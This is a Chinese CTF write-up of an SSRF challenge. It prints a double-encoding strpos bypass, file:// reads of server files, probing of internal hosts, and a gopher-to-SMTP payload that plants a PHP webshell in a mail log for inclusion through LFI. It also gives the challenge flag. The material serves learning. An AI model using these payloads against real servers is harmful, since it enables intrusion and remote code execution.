一道SSRF题

6月安恒杯月赛里的web2是道SSRF题,赛后复现感觉学到的东西挺多的,特此记录下。

先说说自己当时做的过程

题目点进去后,看到几行php源码,可以看到几个和curl相关的函数,上网搜搜能发现,这应该是个SSRF题。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$x = $_GET['x'];
$pos = strpos($x,"php");
if($pos){
exit("denied");
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"$x");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo $result;

通过输入x,控制curl会话选项,使其访问内网资源,然后输出访问结果。

x可利用的协议有gopher、dict、http、https、file等
file协议可以用于查看文件
dict协议可以用于刺探端口
gopher协议支持GET&POST请求,常用于攻击内网ftp、redis、telnet、smtp等服务,还可以利用gopher协议访问redis反弹shell

知道这个之后,就可以对x进行利用尝试了。上面提到了,主要可以利用file、dict、gopher、http(s)等协议。
于是我们先用file文件试试任意文件读取,首先读下/etc/passwd文件,发现读取成功。

然后就想着读读index.php文件试试,但是这里代码里有一行strpos($x,'php')对输入的x做了限制。之前遇到的代码审计题里面关于strpos函数的都是把strpos查找的字符串放在开头,使strpos函数返回为0,从而绕过strpos() == false。但是这里明显不是利用这个点,因为curl并不支持php协议

于是只好上网搜搜strpos函数有没有别的bug或绕过方法。但找了找,发现找来找去都只是一些老知识,只怪自己知识储备不够,搜索引擎都用不好(2333~)

于是读*.php这条路被堵死了,只能用file协议随便试试其他文件,试了~/.bash_history等一些别的文件,但是效果都不大,于是就只能作罢了。


然后开始复现

赛后,安恒官方发布了wp和复现环境,看完wp之后,恍然大悟,于是开始复现。
首先是strpos函数这个点,这里是利用了php的一个bug,具体可以上: https://bugs.php.net/bug.php?id=76671&edit=1查看详情。

这个bug是说,如果向strpos传入一个双重url编码的字符串,可以达到绕过的目的
比如我们这里可以使x=%2570,就可以绕过strpos($x,”php”)
(%25是%的url编码,%70是p的url编码)

于是我们就可以绕过strpos函数的限制了, 也就是说x变量可以随便输入字符串了。

于是我们可以接着用file协议读取/var/www/html/文件下的网页源码,先读读index.php看看起不起作用。
payload:http://101.71.29.5:10012/?x=file:///var/www/html/index.ph%2570

在注释里找到了index.php的代码,说明我们这样是可以读取成功的,但读index.php对我们帮助并不大,那我们接下来该读什么呢?

只能继续读/var/www/html/文件下的其他文件,但是我们并不知道其他文件的文件名。所以在这之前,还需用字典扫扫该站点的其他文件。

我这里用的是御剑加自定义字典扫的,截图如下。

可以看到,还有一个flag.php,于是继续读取flag.php文件

于是按照提示继续访问/etc/hosts文件

然后找到内网IP172.18.0.3,那得到这个内网IP有啥用呢,其实那天我自己做的时候,找到了这个IP,但不知道咋用。看了wp后,突然就悟出来了。下面说说自己的理解。

很明显这题考的是SSRF,SSRF不就是用来搞内网的么,利用服务器去打外网访问不到的内网其他主机。

这里知道了内网IP的格式,于是就可以利用curlhttp协议,刺探内网其他主机172.18.0.*

可以看到,就172.18.0.1|2|3能够访问。分别查看这三个IP的返回结果,发现http://101.71.29.5:10012/?x=http://172.18.0.2的返回结果如下图,存在LFI漏洞。

这只是80端口的结果,接下来我们看看其他端口的开放情况,可以看到,25端口也开放了,25对应的就是smtp服务。

于是可以联想到利用gopher协议打smtp,然后再结合之前发现的LFI漏洞,得出这样的思路

利用gopher打smtp,在日志文件中留下一句话木马,然后用LFI包含日志文件获取webshell

思路清晰了后,就开始执行了,先用gopherus脚本生成payload,gopherus地址:https://github.com/tarunkant/Gopherus,里面有详细用法。

把生成的payload复制下来,然后改下IP,改成172.18.0.2
gopher://172.18.0.2:25/_MAIL%20FROM:%3Cmiracle%40778.com%3E%0ARCPT%20To:%3C%3F%20system%28%24_GET%5B%27miracle%27%5D%29%3B%20%3F%3E%0ADATA%0AFrom:%3Cmiracle%40778.com%3E%0ASubject:test%0AMessage:test%0A.
然后进行url编码

得到最终payload:

1
%67%6f%70%68%65%72%3a%2f%2f%31%37%32%2e%31%38%2e%30%2e%32%3a%32%35%2f%5f%4d%41%49%4c%25%32%30%46%52%4f%4d%3a%25%33%43%6d%69%72%61%63%6c%65%25%34%30%37%37%38%2e%63%6f%6d%25%33%45%25%30%41%52%43%50%54%25%32%30%54%6f%3a%25%33%43%25%33%46%25%32%30%73%79%73%74%65%6d%25%32%38%25%32%34%5f%47%45%54%25%35%42%25%32%37%6d%69%72%61%63%6c%65%25%32%37%25%35%44%25%32%39%25%33%42%25%32%30%25%33%46%25%33%45%25%30%41%44%41%54%41%25%30%41%46%72%6f%6d%3a%25%33%43%6d%69%72%61%63%6c%65%25%34%30%37%37%38%2e%63%6f%6d%25%33%45%25%30%41%53%75%62%6a%65%63%74%3a%74%65%73%74%25%30%41%4d%65%73%73%61%67%65%3a%74%65%73%74%25%30%41%2e

然后利用这个payload,污染日志文件,可以看到,我们的payload利用gopher协议尝试用smtp发送邮件,当然因为我们的地址填的是一句话木马,所以这里肯定发送失败,不过却会在日志文件中留下记录。

于是我们现在可以去找smtp的日志文件位置了,一般来讲linux中的邮件日志文件路径为

/var/log/maillog
/var/log/mail.log
/var/adm/maillog
/var/adm/syslog/mail.log

我们这里可以利用前面的LFI,利用php://filter协议,查看上面四个日志文件路径,看看哪个有输出。最后发现,日志文件路径是/var/log/mail.log

把内容解密一下,看到/var/log/mail.log内容如下图

咦,跟我们gopher打的不一样。。不过里面依然有个一句话木马,可以先试试。结果发现,输入命令不管用。

后面发现,原来是这个题目环境出了问题。

按道理,接下来要做的是传入cmd给webshell,利用ls cat找到flag,但这里题目环境出错了,所以只能作罢。

不过看wp可以知道,最后flag文件在根目录下的Th7s_Is_Flag文件里面,于是我们可以利用LFI读一下这个文件

然后解密下,也算得到flag了吧flag{dcbd1fa555331261ed1bfd21c3dd889f}


思考

由于是第一次做SSRF这类题,这次复现也学到挺多东西的。

  1. strpos函数bug,我做的时候用google搜过,关键词是php strpos CTF,结果搜到的全是一些没什么用的,相同的东西,那么如何有效利用搜索引擎呢?

    这里给出了php官方bug的一个网址,https://bugs.php.net
    我们可以利用google搜索语法进行搜索
    比如这里我们可以用: site: https://bugs.php.net strpos
    可以快速找到相关漏洞

  2. 为什么一开始要利用file协议读取flag.php,不能直接读/etc/hosts吗?

    这里我也想过,得出结论是
    一开始我们只知道这是个跟curl函数相关的题,而curl可以利用file、http、gopher等许多协议,我们并不知道flag位置是在该服务器上,还是内网其他服务器上。
    所以我们只能一个个试,先假设该题目flag在本地服务器这个,自然想到要读/var/www/html目录下的文件,这里也要说明下,官方wp里面是直接给出flag.php这个文件来了,其实按道理应该是要自己扫一下,然后再读。
    找到了flag.php文件,然后该文件提示flag在/etc/hosts文件里,然后再继续读/etc/hosts文件,文件里没有明显的flag,只有内网IP。
    也就是说,flag在内网其他服务器上,然后再进行下一步操作。

  3. 找到内网IP后,该怎么做?

    既然是ssrf,那自然是要通过服务器打外网不能访问的内网服务器,所以我们要探测内网其他服务器,以及其开放的端口。


参考

https://wooyun.js.org/drops/SSRF%20libcurl%20protocol%20wrappers%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90.html

ヾノ≧∀≦)o 来呀!快活呀!~
-------- 本文结束 --------